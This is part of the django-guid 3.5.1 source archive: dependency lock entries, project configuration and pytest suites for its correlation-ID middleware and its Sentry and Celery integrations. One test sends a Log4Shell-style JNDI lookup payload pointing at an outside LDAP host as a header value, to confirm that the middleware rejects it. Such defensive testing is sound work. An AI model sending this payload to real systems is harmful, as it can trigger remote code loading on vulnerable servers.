"sha256:1a7ead55c7e559dd4dee8856e3a88b41225abfe1ce8df57b7c13915fe121ffb8"}, ] [[package]] name = "tzdata" version = "2024.1" description = "Provider of IANA time zone data" optional = false python-versions = ">=2" files = [ {file = "tzdata-2024.1-py2.py3-none-any.whl", hash = "sha256:9068bc196136463f5245e51efda838afa15aaeca9903f49050dfa2679db4d252"}, {file = "tzdata-2024.1.tar.gz", hash = "sha256:2674120f8d891909751c38abcdfd386ac0a5a1127954fbc332af6b5ceae07efd"}, ] [[package]] name = "urllib3" version = "2.2.2" description = "HTTP library with thread-safe connection pooling, file post, and more." optional = false python-versions = ">=3.8" files = [ {file = "urllib3-2.2.2-py3-none-any.whl", hash = "sha256:a448b2f64d686155468037e1ace9f2d2199776e17f0a46610480d311f73e3472"}, {file = "urllib3-2.2.2.tar.gz", hash = "sha256:dd505485549a7a552833da5e6063639d0d177c04f23bc3864e41e5dc5f612168"}, ] [package.extras] brotli = ["brotli (>=1.0.9)", "brotlicffi (>=0.8.0)"] h2 = ["h2 (>=4,<5)"] socks = ["pysocks (>=1.5.6,!=1.5.7,<2.0)"] zstd = ["zstandard (>=0.18.0)"] [[package]] name = "uvicorn" version = "0.30.6" description = "The lightning-fast ASGI server." optional = false python-versions = ">=3.8" files = [ {file = "uvicorn-0.30.6-py3-none-any.whl", hash = "sha256:65fd46fe3fda5bdc1b03b94eb634923ff18cd35b2f084813ea79d1f103f711b5"}, {file = "uvicorn-0.30.6.tar.gz", hash = "sha256:4b15decdda1e72be08209e860a1e10e92439ad5b97cf44cc945fcbee66fc5788"}, ] [package.dependencies] click = ">=7.0" h11 = ">=0.8" typing-extensions = {version = ">=4.0", markers = "python_version < \"3.11\""} [package.extras] standard = ["colorama (>=0.4)", "httptools (>=0.5.0)", "python-dotenv (>=0.13)", "pyyaml (>=5.1)", "uvloop (>=0.14.0,!=0.15.0,!=0.15.1)", "watchfiles (>=0.13)", "websockets (>=10.4)"] [[package]] name = "vine" version = "5.1.0" description = "Python promises." optional = false python-versions = ">=3.6" files = [ {file = "vine-5.1.0-py3-none-any.whl", hash = "sha256:40fdf3c48b2cfe1c38a49e9ae2da6fda88e4794c810050a728bd7413811fb1dc"}, {file = "vine-5.1.0.tar.gz", hash = "sha256:8b62e981d35c41049211cf62a0a1242d8c1ee9bd15bb196ce38aefd6799e61e0"}, ] [[package]] name = "virtualenv" version = "20.26.6" description = "Virtual Python Environment builder" optional = false python-versions = ">=3.7" files = [ {file = "virtualenv-20.26.6-py3-none-any.whl", hash = "sha256:7345cc5b25405607a624d8418154577459c3e0277f5466dd79c49d5e492995f2"}, {file = "virtualenv-20.26.6.tar.gz", hash = "sha256:280aede09a2a5c317e409a00102e7077c6432c5a38f0ef938e643805a7ad2c48"}, ] [package.dependencies] distlib = ">=0.3.7,<1" filelock = ">=3.12.2,<4" platformdirs = ">=3.9.1,<5" [package.extras] docs = ["furo (>=2023.7.26)", "proselint (>=0.13)", "sphinx (>=7.1.2,!=7.3)", "sphinx-argparse (>=0.4)", "sphinxcontrib-towncrier (>=0.2.1a0)", "towncrier (>=23.6)"] test = ["covdefaults (>=2.3)", "coverage (>=7.2.7)", "coverage-enable-subprocess (>=1)", "flaky (>=3.7)", "packaging (>=23.1)", "pytest (>=7.4)", "pytest-env (>=0.8.2)", "pytest-freezer (>=0.4.8)", "pytest-mock (>=3.11.1)", "pytest-randomly (>=3.12)", "pytest-timeout (>=2.1)", "setuptools (>=68)", "time-machine (>=2.10)"] [[package]] name = "wcwidth" version = "0.2.13" description = "Measures the displayed width of unicode strings in a terminal" optional = false python-versions = "*" files = [ {file = "wcwidth-0.2.13-py2.py3-none-any.whl", hash = "sha256:3da69048e4540d84af32131829ff948f1e022c1c6bdb8d6102117aac784f6859"}, {file = "wcwidth-0.2.13.tar.gz", hash = "sha256:72ea0c06399eb286d978fdedb6923a9eb47e1c486ce63e9b4e64fc18303972b5"}, ] [metadata] lock-version = "2.0" python-versions = "^3.8" content-hash = "c993f881929f1f3d0185d9ae99a48dbf62fc16b407f028bfa79d0fa38cc10f12" django-guid-3.5.1/pyproject.toml000066400000000000000000000061601475141737700166470ustar00rootroot00000000000000[tool.poetry] name = "django-guid" version = "3.5.1" # Remember to also change __init__.py version description = "Middleware that enables single request-response cycle tracing by injecting a unique ID into project logs" authors = ["Jonas Krüger Svensson "] maintainers = ["Sondre Lillebø Gundersen "] license = "MIT" readme = "docs/README_PYPI.rst" homepage = "https://github.com/snok/django-guid" repository = "https://github.com/snok/django-guid" documentation = "https://django-guid.readthedocs.io/en/latest" keywords = [ 'asgi', 'async', 'async support', 'correlation', 'correlation-id', 'django', 'guid', 'log id', 'logging', 'logging id', 'middleware', 'request', 'request id', 'request-id', 'uuid', 'web', 'sentry', 'celery' ] classifiers = [ 'Development Status :: 5 - Production/Stable', 'Environment :: Web Environment', 'Framework :: Django', 'Framework :: Django :: 4.2', 'Framework :: Django :: 5.0', 'Framework :: Django :: 5.1', 'Intended Audience :: Developers', 'License :: OSI Approved :: BSD License', 'Operating System :: OS Independent', 'Programming Language :: Python', 'Programming Language :: Python :: 3.8', 'Programming Language :: Python :: 3.9', 'Programming Language :: Python :: 3.10', 'Programming Language :: Python :: 3.11', 'Programming Language :: Python :: 3.12', 'Topic :: Internet :: WWW/HTTP', 'Topic :: Internet :: WWW/HTTP :: Dynamic Content', 'Topic :: Internet :: WWW/HTTP :: WSGI', 'Topic :: Software Development', 'Topic :: Software Development :: Libraries', 'Topic :: Software Development :: Libraries :: Application Frameworks', 'Topic :: Software Development :: Libraries :: Python Modules', ] include = ["CHANGELOG.rst"] packages = [{ include = 'django_guid' }] [tool.poetry.urls] "Release notes" = "https://github.com/snok/django-guid/releases" [tool.poetry.dependencies] python = "^3.8" django = [ { version = "^4.0", python = ">=3.8,<3.10" }, { version = "^4.0 | ^5.0", python = ">=3.10" } ] [tool.poetry.group.dev.dependencies] coverage = {extras = ["toml"], version = "^6.5.0"} pre-commit = "^2.9" sphinx = "^2.4.4" sphinx_rtd_theme = "^0.4.3" pytest = "^8.3.2" pytest-django = "^4.9.0" pytest-mock = "^3" pytest-subtests = "^0.13" djangorestframework = "^3.15.0" sentry-sdk = ">=0.14.3,<2.9.0" gunicorn = "^23.0.0" uvicorn = "^0.30.6" pytest-asyncio = "^0.24.0" celery = "^5.0.2" redis = "^3.5.3" [build-system] requires = ["poetry>=0.12"] build-backend = "poetry.masonry.api" [tool.black] line-length = 120 skip-string-normalization = true target-version = ['py37'] include = '\.pyi?$' exclude = ''' ( (\.eggs|\.git|\.hg|\.mypy_cache|\.tox|\.venv|\venv|\.github|\docs|\tests|\__pycache__) ) ''' [tool.isort] profile = "black" src_paths = ["django_guid"] combine_as_imports = true line_length = 120 sections = [ 'FUTURE', 'STDLIB', 'DJANGO', 'THIRDPARTY', 'FIRSTPARTY', 'LOCALFOLDER' ] known_django = ['django'] [tool.coverage.report] show_missing = true skip_covered = true exclude_lines = [ "if TYPE_CHECKING:", "pragma: no cover", ] django-guid-3.5.1/pytest.ini000066400000000000000000000002351475141737700157610ustar00rootroot00000000000000[pytest] DJANGO_SETTINGS_MODULE = demoproj.settings log_cli_format = %(levelname)s %(asctime)s [%(correlation_id)s] %(name)s %(message)s asyncio_mode = auto django-guid-3.5.1/setup.cfg000066400000000000000000000032111475141737700155460ustar00rootroot00000000000000[flake8] ignore = # E501: Line length E501 # Docstring at the top of a public module D100 # Docstring at the top of a public class (method is enough) D101 # Make docstrings one line if it can fit. D200 # Imperative docstring declarations D401 # Type annotation for `self` TYP101 TYP102 # Missing docstring in __init__ D107 # Missing docstring in public package D104 # Missing type annotations for `**kwargs` TYP003 # Whitespace before ':'. Black formats code this way. E203 # 1 blank line required between summary line and description D205 # First line should end with a period - here we have a few cases where the first line is too long, and # this issue can't be fixed without using noqa notation D400 # Missing type annotations for self ANN101 # Missing type annotation for cls in classmethod ANN102 # Missing type annotations for **args ANN002 # Missing type annotations for **kwargs ANN003 # Allow Any typing ANN401 exclude = .git, .idea, __pycache__, tests/*, venv, manage.py max-complexity = 15 enable-extensions = TC, TC2 type-checking-exempt-modules = typing [mypy] python_version = 3.10 show_error_codes = True warn_unused_ignores = True strict_optional = True incremental = True ignore_missing_imports = True warn_redundant_casts = True warn_unused_configs = True warn_no_return = False disallow_untyped_defs = True disallow_incomplete_defs = True disallow_untyped_calls = True local_partial_types = True show_traceback = True allow_redefinition = False [mypy-tests.*] ignore_errors = True django-guid-3.5.1/tests/000077500000000000000000000000001475141737700150725ustar00rootroot00000000000000django-guid-3.5.1/tests/__init__.py000066400000000000000000000000001475141737700171710ustar00rootroot00000000000000django-guid-3.5.1/tests/conftest.py000066400000000000000000000014261475141737700172740ustar00rootroot00000000000000import uuid import pytest @pytest.fixture def mock_uuid(monkeypatch): class MockUUid: hex = '704ae5472cae4f8daa8f2cc5a5a8mock' def __str__(self): return f'{self.hex[:8]}-{self.hex[8:12]}-{self.hex[12:16]}-{self.hex[16:20]}-{self.hex[20:]}' monkeypatch.setattr('django_guid.utils.uuid.uuid4', MockUUid) @pytest.fixture def two_unique_uuid4(): return ['704ae5472cae4f8daa8f2cc5a5a8mock', 'c494886651cd4baaa8654e4d24a8mock'] @pytest.fixture def mock_uuid_two_unique(mocker, two_unique_uuid4): mocker.patch.object( uuid.UUID, 'hex', new_callable=mocker.PropertyMock, side_effect=two_unique_uuid4, ) @pytest.fixture(autouse=True) def integrations(settings): settings.DJANGO_GUID['INTEGRATIONS'] = [] django-guid-3.5.1/tests/functional/000077500000000000000000000000001475141737700172345ustar00rootroot00000000000000django-guid-3.5.1/tests/functional/__init__.py000066400000000000000000000000001475141737700213330ustar00rootroot00000000000000django-guid-3.5.1/tests/functional/test_async_middleware.py000066400000000000000000000061621475141737700241640ustar00rootroot00000000000000import asyncio from copy import deepcopy from django.conf import settings as django_settings from django.test import override_settings import pytest async def test_one_request(async_client, caplog, mock_uuid): response = await async_client.get('/asgi') expected = [ ('async middleware called', None), ( 'Header `Correlation-ID` was not found in the incoming request. Generated ' 'new GUID: 704ae5472cae4f8daa8f2cc5a5a8mock', None, ), ('This log message should have a GUID', '704ae5472cae4f8daa8f2cc5a5a8mock'), ('Going to sleep for a sec', '704ae5472cae4f8daa8f2cc5a5a8mock'), ('Going to sleep for a sec', '704ae5472cae4f8daa8f2cc5a5a8mock'), ('Warning, I am awake!', '704ae5472cae4f8daa8f2cc5a5a8mock'), ('Warning, I am awake!', '704ae5472cae4f8daa8f2cc5a5a8mock'), ('Received signal `request_finished`, clearing guid', '704ae5472cae4f8daa8f2cc5a5a8mock'), ] assert [(x.message, x.correlation_id) for x in caplog.records] == expected assert response['Correlation-ID'] == '704ae5472cae4f8daa8f2cc5a5a8mock' async def test_two_requests_concurrently(async_client, caplog, mock_uuid_two_unique, two_unique_uuid4): """ Checks that a following request does not inherit a previous GUID """ tasks = [asyncio.create_task(async_client.get('/asgi')), asyncio.create_task(async_client.get('/asgi'))] await asyncio.gather(*tasks) expected = [ t for guid in two_unique_uuid4 for t in [ ('async middleware called', None), ( f'Header `Correlation-ID` was not found in the incoming request. Generated new GUID: {guid}', None, ), ('This log message should have a GUID', guid), ('Going to sleep for a sec', guid), ('Going to sleep for a sec', guid), ('Warning, I am awake!', guid), ('Warning, I am awake!', guid), ('Received signal `request_finished`, clearing guid', guid), ] ] # Sort both lists and compare - order will vary between runs assert sorted((x.message, x.correlation_id) for x in caplog.records) == sorted(expected) async def test_ignored_url(async_client, caplog, monkeypatch): """ Test that a URL specified in IGNORE_URLS is ignored in the async view :param async_client: Django async client :param caplog: Caplog fixture :param monkeypatch: Monkeypatch for django settings """ mocked_settings = deepcopy(django_settings.DJANGO_GUID) mocked_settings['IGNORE_URLS'] = {'no-guid'} with override_settings(**mocked_settings): await async_client.get('/no-guid') # No log message should have a GUID, aka `None` on index 1. expected = [ ('async middleware called', None), ('This log message should NOT have a GUID - the URL is in IGNORE_URLS', None), ('Some warning in a function', None), ('Received signal `request_finished`, clearing guid', None), ] assert [(x.message, x.correlation_id) for x in caplog.records] == expected django-guid-3.5.1/tests/functional/test_integration_base_class.py000066400000000000000000000106741475141737700253570ustar00rootroot00000000000000from copy import deepcopy from django.conf import settings as django_settings from django.core.exceptions import ImproperlyConfigured from django.test import override_settings import pytest from django_guid.config import Settings def test_missing_identifier(monkeypatch): """ Tests that an exception is raised when identifier is missing. """ from django_guid.integrations import SentryIntegration monkeypatch.setattr(SentryIntegration, 'identifier', None) with pytest.raises(ImproperlyConfigured, match='`identifier` cannot be None'): SentryIntegration() def test_missing_run_method(monkeypatch, client): """ Tests that an exception is raised when the run method has not been defined. """ from django_guid.integrations import SentryIntegration monkeypatch.delattr(SentryIntegration, 'run') mocked_settings = deepcopy(django_settings.DJANGO_GUID) mocked_settings['INTEGRATIONS'] = [SentryIntegration()] with override_settings(DJANGO_GUID=mocked_settings): settings = Settings() monkeypatch.setattr('django_guid.middleware.settings', settings) with pytest.raises(ImproperlyConfigured, match='The integration `SentryIntegration` is missing a `run` method'): client.get('/api') def test_run_method_not_accepting_kwargs(client): """ Tests that an exception is raised when the run method doesn't accept kwargs. """ from django_guid.config import Settings from django_guid.integrations import SentryIntegration class BadIntegration(SentryIntegration): def run(self, guid): # pragma: no cover pass mocked_settings = deepcopy(django_settings.DJANGO_GUID) mocked_settings['INTEGRATIONS'] = [BadIntegration()] with override_settings(DJANGO_GUID=mocked_settings): with pytest.raises(ImproperlyConfigured, match='Integration method `run` must accept keyword arguments '): Settings().validate() def test_cleanup_method_not_accepting_kwargs(client): """ Tests that an exception is raised when the run method doesn't accept kwargs. """ from django_guid.config import Settings from django_guid.integrations import SentryIntegration class BadIntegration(SentryIntegration): def cleanup(self, guid): # pragma: no cover pass mocked_settings = deepcopy(django_settings.DJANGO_GUID) mocked_settings['INTEGRATIONS'] = [BadIntegration()] with override_settings(DJANGO_GUID=mocked_settings): with pytest.raises(ImproperlyConfigured, match='Integration method `cleanup` must accept keyword arguments '): Settings().validate() def test_non_callable_methods(monkeypatch, subtests): """ Tests that an exception is raised when any of the integration base methods are non-callable. """ from django_guid.config import Settings from django_guid.integrations import SentryIntegration mock_integration = SentryIntegration() to_test = [ { 'function_name': 'cleanup', 'error': 'Integration method `cleanup` needs to be made callable for `SentryIntegration`', }, { 'function_name': 'run', 'error': 'Integration method `run` needs to be made callable for `SentryIntegration`', }, { 'function_name': 'setup', 'error': 'Integration method `setup` needs to be made callable for `SentryIntegration`', }, ] for test in to_test: setattr(mock_integration, test.get('function_name'), 'test') mocked_settings = deepcopy(django_settings.DJANGO_GUID) mocked_settings['INTEGRATIONS'] = [mock_integration] with override_settings(DJANGO_GUID=mocked_settings): with subtests.test(msg=f'Testing function {test.get("function_name")}'): with pytest.raises(ImproperlyConfigured, match=test.get('error')): Settings().validate() def test_base_class(): """ Test that a basic implementation of an integration works as expected. """ from django_guid.integrations import Integration class MyCustomIntegration(Integration): identifier = 'My custom integration' def run(self, guid, **kwargs): pass def cleanup(self, **kwargs): pass stub_integration = MyCustomIntegration() assert stub_integration.setup() is None assert stub_integration.run('test') is None assert stub_integration.cleanup() is None django-guid-3.5.1/tests/functional/test_sentry_integration.py000066400000000000000000000051341475141737700245770ustar00rootroot00000000000000import sys from django.core.exceptions import ImproperlyConfigured from django.test import override_settings import pytest from sentry_sdk.scope import Scope from django_guid.config import Settings from django_guid.integrations import SentryIntegration mocked_settings = { 'GUID_HEADER_NAME': 'Correlation-ID', 'VALIDATE_GUID': True, 'INTEGRATIONS': [SentryIntegration()], 'IGNORE_URLS': ['no-guid'], } def test_sentry_integration(client, caplog, mocker, monkeypatch): """ Tests the sentry integration """ mock_scope = mocker.patch.object(Scope, 'set_tag') with override_settings(DJANGO_GUID=mocked_settings): settings = Settings() monkeypatch.setattr('django_guid.middleware.settings', settings) client.get('/api', **{'HTTP_Correlation-ID': '97c304252fd14b25b72d6aee31565842'}) expected = [ (None, 'sync middleware called'), (None, 'Correlation-ID found in the header'), (None, '97c304252fd14b25b72d6aee31565842 is a valid GUID'), ('97c304252fd14b25b72d6aee31565842', 'Running integration: `SentryIntegration`'), ('97c304252fd14b25b72d6aee31565842', 'Setting Sentry transaction_id to 97c304252fd14b25b72d6aee31565842'), ('97c304252fd14b25b72d6aee31565842', 'This is a DRF view log, and should have a GUID.'), ('97c304252fd14b25b72d6aee31565842', 'Some warning in a function'), ('97c304252fd14b25b72d6aee31565842', 'Running tear down for integration: `SentryIntegration`'), ('97c304252fd14b25b72d6aee31565842', 'Received signal `request_finished`, clearing guid'), ] mock_scope.assert_called_with('transaction_id', '97c304252fd14b25b72d6aee31565842') assert [(x.correlation_id, x.message) for x in caplog.records] == expected def test_sentry_validation(client): """ Tests that the package handles multiple header values by defaulting to one and logging a warning. """ # Mock away the sentry_sdk dependency backup = None if 'sentry_sdk' in sys.modules: backup = sys.modules['sentry_sdk'] sys.modules['sentry_sdk'] = None with override_settings(DJANGO_GUID=mocked_settings): with pytest.raises( ImproperlyConfigured, match='The package `sentry-sdk` is required for extending your tracing IDs to Sentry. ' 'Please run `pip install sentry-sdk` if you wish to include this integration.', ): Settings().validate() # Put it back in - otherwise a bunch of downstream tests break if backup: sys.modules['sentry_sdk'] = backup django-guid-3.5.1/tests/functional/test_set_get_del_context.py000066400000000000000000000016561475141737700246770ustar00rootroot00000000000000import pytest async def test_api(async_client, caplog, mock_uuid): await async_client.get('/api-usage') expected = [ ('async middleware called', None), ( 'Header `Correlation-ID` was not found in the incoming request. Generated ' 'new GUID: 704ae5472cae4f8daa8f2cc5a5a8mock', None, ), ('Current GUID: 704ae5472cae4f8daa8f2cc5a5a8mock', '704ae5472cae4f8daa8f2cc5a5a8mock'), ( 'Changing the guid ContextVar from 704ae5472cae4f8daa8f2cc5a5a8mock to another guid', '704ae5472cae4f8daa8f2cc5a5a8mock', ), ('Current GUID: another guid', 'another guid'), ('Clearing another guid from the guid ContextVar', 'another guid'), ('Current GUID: None', None), ('Received signal `request_finished`, clearing guid', None), ] assert [(x.message, x.correlation_id) for x in caplog.records] == expected django-guid-3.5.1/tests/functional/test_sync_middleware.py000066400000000000000000000317151475141737700240250ustar00rootroot00000000000000from copy import deepcopy from django.core.exceptions import ImproperlyConfigured from django.test import override_settings import pytest from django_guid.config import Settings @pytest.mark.parametrize( 'uuid_data,uuid_format', [('704ae5472cae4f8daa8f2cc5a5a8mock', 'hex'), ('704ae547-2cae-4f8d-aa8f-2cc5a5a8mock', 'string')], ) def test_request_with_no_correlation_id(uuid_data, uuid_format, client, caplog, mock_uuid, monkeypatch): """ Tests a request without any correlation-ID in it logs the correct things. In this case, it means that the first log message should not have any correlation-ID in it, but the next two (from views and services.useless_file) should have. :param mock_uuid: Monkeypatch fixture for mocking UUID :param client: Django client :param caplog: caplog fixture """ mocked_settings = {'GUID_HEADER_NAME': 'Correlation-ID', 'VALIDATE_GUID': False, 'UUID_FORMAT': uuid_format} with override_settings(DJANGO_GUID=mocked_settings): settings = Settings() monkeypatch.setattr('django_guid.utils.settings', settings) response = client.get('/') expected = [ ('sync middleware called', None), ( 'Header `Correlation-ID` was not found in the incoming request. ' f'Generated new GUID: {uuid_data}', None, ), ('This log message should have a GUID', uuid_data), ('Some warning in a function', uuid_data), ('Received signal `request_finished`, clearing guid', uuid_data), ] assert [(x.message, x.correlation_id) for x in caplog.records] == expected assert response['Correlation-ID'] == uuid_data @pytest.mark.parametrize( 'uuid_data,uuid_format', [('97c304252fd14b25b72d6aee31565843', 'hex'), ('97c30425-2fd1-4b25-b72d-6aee31565843', 'string')], ) def test_request_with_correlation_id(uuid_data, uuid_format, client, caplog, monkeypatch): """ Tests a request _with_ a correlation-ID in it logs the correct things. :param client: Django client :param caplog: caplog fixture """ mocked_settings = {'GUID_HEADER_NAME': 'Correlation-ID', 'UUID_FORMAT': uuid_format} with override_settings(DJANGO_GUID=mocked_settings): settings = Settings() monkeypatch.setattr('django_guid.utils.settings', settings) response = client.get('/', **{'HTTP_Correlation-ID': uuid_data}) expected = [ ('sync middleware called', None), ('Correlation-ID found in the header', None), (f'{uuid_data} is a valid GUID', None), ('This log message should have a GUID', uuid_data), ('Some warning in a function', uuid_data), ('Received signal `request_finished`, clearing guid', uuid_data), ] assert [(x.message, x.correlation_id) for x in caplog.records] == expected assert response['Correlation-ID'] == uuid_data @pytest.mark.parametrize( 'uuid_data,uuid_format', [('704ae5472cae4f8daa8f2cc5a5a8mock', 'hex'), ('704ae547-2cae-4f8d-aa8f-2cc5a5a8mock', 'string')], ) def test_request_with_non_alnum_correlation_id(uuid_data, uuid_format, client, caplog, mock_uuid, monkeypatch): """ Tests a request _with_ a correlation-ID in it logs the correct things. :param client: Django client :param caplog: caplog fixture """ mocked_settings = {'GUID_HEADER_NAME': 'Correlation-ID', 'UUID_FORMAT': uuid_format} with override_settings(DJANGO_GUID=mocked_settings): settings = Settings() monkeypatch.setattr('django_guid.utils.settings', settings) response = client.get('/', **{'HTTP_Correlation-ID': '!"#¤&${jndi:ldap://ondsinnet.no/a}'}) expected = [ ('sync middleware called', None), ('Correlation-ID found in the header', None), (f'Non-alnum Correlation-ID provided. New GUID is {uuid_data}', None), ('This log message should have a GUID', uuid_data), ('Some warning in a function', uuid_data), ('Received signal `request_finished`, clearing guid', uuid_data), ] assert [(x.message, x.correlation_id) for x in caplog.records] == expected assert response['Correlation-ID'] == uuid_data def test_request_with_invalid_correlation_id(client, caplog, mock_uuid): """ Tests that a request with an invalid GUID is replaced when VALIDATE_GUID is True. :param client: Django client :param caplog: Caplog fixture :param mock_uuid: Monkeypatch fixture for mocking UUID """ response = client.get('/', **{'HTTP_Correlation-ID': 'bad-guid'}) expected = [ ('sync middleware called', None), ('Correlation-ID found in the header', None), ('bad-guid is not a valid GUID. New GUID is 704ae5472cae4f8daa8f2cc5a5a8mock', None), ('This log message should have a GUID', '704ae5472cae4f8daa8f2cc5a5a8mock'), ('Some warning in a function', '704ae5472cae4f8daa8f2cc5a5a8mock'), ('Received signal `request_finished`, clearing guid', '704ae5472cae4f8daa8f2cc5a5a8mock'), ] assert [(x.message, x.correlation_id) for x in caplog.records] == expected assert response['Correlation-ID'] == '704ae5472cae4f8daa8f2cc5a5a8mock' def test_request_with_invalid_correlation_id_without_validation(client, caplog, monkeypatch): """ Tests that a request with an invalid GUID is replaced when VALIDATE_GUID is False. :param client: Django client :param caplog: Caplog fixture """ mocked_settings = { 'GUID_HEADER_NAME': 'Correlation-ID', 'VALIDATE_GUID': False, 'INTEGRATIONS': [], 'IGNORE_URLS': ['no-guid'], } with override_settings(DJANGO_GUID=mocked_settings): settings = Settings() monkeypatch.setattr('django_guid.utils.settings', settings) client.get('/', **{'HTTP_Correlation-ID': 'bad-guid'}) expected = [ ('sync middleware called', None), ('Correlation-ID found in the header', None), ('Returning ID from header without validating it as a GUID', None), ('This log message should have a GUID', 'bad-guid'), ('Some warning in a function', 'bad-guid'), ('Received signal `request_finished`, clearing guid', 'bad-guid'), ] assert [(x.message, x.correlation_id) for x in caplog.records] == expected def test_no_return_header_and_drf_url(client, caplog, mock_uuid, monkeypatch): """ Tests that it does not return the GUID if RETURN_HEADER is false. This test also tests a DRF response, just to confirm everything works in both worlds. """ mocked_settings = { 'GUID_HEADER_NAME': 'Correlation-ID', 'VALIDATE_GUID': True, 'INTEGRATIONS': [], 'IGNORE_URLS': ['no-guid'], 'RETURN_HEADER': False, } with override_settings(DJANGO_GUID=mocked_settings): settings = Settings() monkeypatch.setattr('django_guid.middleware.settings', settings) response = client.get('/api') expected = [ ('sync middleware called', None), ( 'Header `Correlation-ID` was not found in the incoming request. Generated new GUID: 704ae5472cae4f8daa8f2cc5a5a8mock', None, ), ('This is a DRF view log, and should have a GUID.', '704ae5472cae4f8daa8f2cc5a5a8mock'), ('Some warning in a function', '704ae5472cae4f8daa8f2cc5a5a8mock'), ('Received signal `request_finished`, clearing guid', '704ae5472cae4f8daa8f2cc5a5a8mock'), ] assert [(x.message, x.correlation_id) for x in caplog.records] == expected assert not response.get('Correlation-ID') def test_no_expose_header_return_header_true(client, monkeypatch): """ Tests that it does not return the Access-Control-Allow-Origin when EXPOSE_HEADER is set to False and RETURN_HEADER is True """ from django.conf import settings as django_settings mocked_settings = deepcopy(django_settings.DJANGO_GUID) mocked_settings['EXPOSE_HEADER'] = False mocked_settings['RETURN_HEADER'] = True with override_settings(DJANGO_GUID=mocked_settings): settings = Settings() monkeypatch.setattr('django_guid.middleware.settings', settings) response = client.get('/api') assert not response.get('Access-Control-Expose-Headers') def test_expose_header_return_header_true(client, monkeypatch): """ Tests that it does return the Access-Control-Allow-Origin when EXPOSE_HEADER is set to True and RETURN_HEADER is True """ from django.conf import settings as django_settings mocked_settings = deepcopy(django_settings.DJANGO_GUID) mocked_settings['EXPOSE_HEADER'] = True with override_settings(DJANGO_GUID=mocked_settings): settings = Settings() monkeypatch.setattr('django_guid.middleware.settings', settings) response = client.get('/api') assert response.get('Access-Control-Expose-Headers') def test_no_expose_header_return_header_false(client, monkeypatch): """ Tests that it does not return the Access-Control-Allow-Origin when EXPOSE_HEADER is set to False and RETURN_HEADER is False """ from django.conf import settings as django_settings mocked_settings = deepcopy(django_settings.DJANGO_GUID) mocked_settings['EXPOSE_HEADER'] = False mocked_settings['RETURN_HEADER'] = False with override_settings(DJANGO_GUID=mocked_settings): settings = Settings() monkeypatch.setattr('django_guid.middleware.settings', settings) response = client.get('/api') assert not response.get('Access-Control-Expose-Headers') def test_expose_header_return_header_false(client, monkeypatch): """ Tests that it does not return the Access-Control-Allow-Origin when EXPOSE_HEADER is set to True and RETURN_HEADER is False """ from django.conf import settings as django_settings mocked_settings = deepcopy(django_settings.DJANGO_GUID) mocked_settings['EXPOSE_HEADER'] = True mocked_settings['RETURN_HEADER'] = False with override_settings(DJANGO_GUID=mocked_settings): settings = Settings() monkeypatch.setattr('django_guid.middleware.settings', settings) response = client.get('/api') assert not response.get('Access-Control-Expose-Headers') def test_cleanup_signal(client, caplog, monkeypatch): """ Tests that a request cleans up a request after finishing. :param client: Django client :param caplog: Caplog fixture """ from django.conf import settings as django_settings mocked_settings = deepcopy(django_settings.DJANGO_GUID) mocked_settings['VALIDATE_GUID'] = False with override_settings(DJANGO_GUID=mocked_settings): settings = Settings() monkeypatch.setattr('django_guid.utils.settings', settings) client.get('/', **{'HTTP_Correlation-ID': 'bad-guid'}) client.get('/', **{'HTTP_Correlation-ID': 'another-bad-guid'}) expected = [ # First request ('sync middleware called', None), ('Correlation-ID found in the header', None), ('Returning ID from header without validating it as a GUID', None), ('This log message should have a GUID', 'bad-guid'), ('Some warning in a function', 'bad-guid'), ('Received signal `request_finished`, clearing guid', 'bad-guid'), # Second request ('sync middleware called', None), ('Correlation-ID found in the header', None), ('Returning ID from header without validating it as a GUID', None), ('This log message should have a GUID', 'another-bad-guid'), ('Some warning in a function', 'another-bad-guid'), ('Received signal `request_finished`, clearing guid', 'another-bad-guid'), ] assert [(x.message, x.correlation_id) for x in caplog.records] == expected def test_improperly_configured_if_not_in_installed_apps(client, monkeypatch): """ Test that the app will fail if `is_installed('django_guid')` is `False`. """ monkeypatch.setattr('django_guid.middleware.apps.is_installed', lambda x: False) with pytest.raises(ImproperlyConfigured, match='django_guid must be in installed apps'): client.get('/') def test_url_ignored(client, caplog): """ Test that a URL specified in IGNORE_URLS is ignored. :param client: Django client :param caplog: Caplog fixture """ from django.conf import settings as django_settings mocked_settings = deepcopy(django_settings.DJANGO_GUID) mocked_settings['IGNORE_URLS'] = {'no-guid'} with override_settings(DJANGO_GUID=mocked_settings): client.get('/no-guid', **{'HTTP_Correlation-ID': 'bad-guid'}) # No log message should have a GUID, aka `None` on index 1. expected = [ ('sync middleware called', None), ('This log message should NOT have a GUID - the URL is in IGNORE_URLS', None), ('Some warning in a function', None), ('Received signal `request_finished`, clearing guid', None), ] assert [(x.message, x.correlation_id) for x in caplog.records] == expected django-guid-3.5.1/tests/unit/000077500000000000000000000000001475141737700160515ustar00rootroot00000000000000django-guid-3.5.1/tests/unit/__init__.py000066400000000000000000000000001475141737700201500ustar00rootroot00000000000000django-guid-3.5.1/tests/unit/test_celery_config.py000066400000000000000000000047121475141737700222760ustar00rootroot00000000000000from django.core.exceptions import ImproperlyConfigured import pytest from django_guid.integrations.celery import CeleryIntegration from django_guid.integrations.celery.config import CeleryIntegrationSettings def test_validate_use_django_logging(): """ Test that validation for use_django_logging works as expected """ invalid_settings = [{}, [], 'asd', -1, 0, 3.3] valid_settings = [True, False] for setting in invalid_settings: with pytest.raises( ImproperlyConfigured, match='The CeleryIntegration use_django_logging setting must be a boolean.' ): CeleryIntegrationSettings(CeleryIntegration(use_django_logging=setting)) for setting in valid_settings: CeleryIntegrationSettings(CeleryIntegration(use_django_logging=setting)) def test_validate_log_parent(): """ Test that validation logic for log_parent works as expected """ invalid_settings = [{}, [], 'asd', -1, 0, 3.3] valid_settings = [True, False] for setting in invalid_settings: with pytest.raises(ImproperlyConfigured, match='The CeleryIntegration log_parent setting must be a boolean.'): CeleryIntegrationSettings(CeleryIntegration(log_parent=setting)) for setting in valid_settings: CeleryIntegrationSettings(CeleryIntegration(log_parent=setting)) def test_validate_uuid_length(): """ Test that validation for uuid_length works as expected """ invalid_settings = [True, False, {}, [], 'asd', -1, 0, 3.3, 33] valid_settings = [1, 15, 32] for setting in invalid_settings: with pytest.raises(ImproperlyConfigured, match='The CeleryIntegration uuid_length setting must be an integer.'): CeleryIntegrationSettings(CeleryIntegration(uuid_length=setting)) for setting in valid_settings: CeleryIntegrationSettings(CeleryIntegration(uuid_length=setting)) def test_validate_sentry_integration(): """ Test that validation for sentry_integration works as expected """ invalid_settings = [{}, [], 'asd', -1, 0, 3.3] valid_settings = [True, False] for setting in invalid_settings: 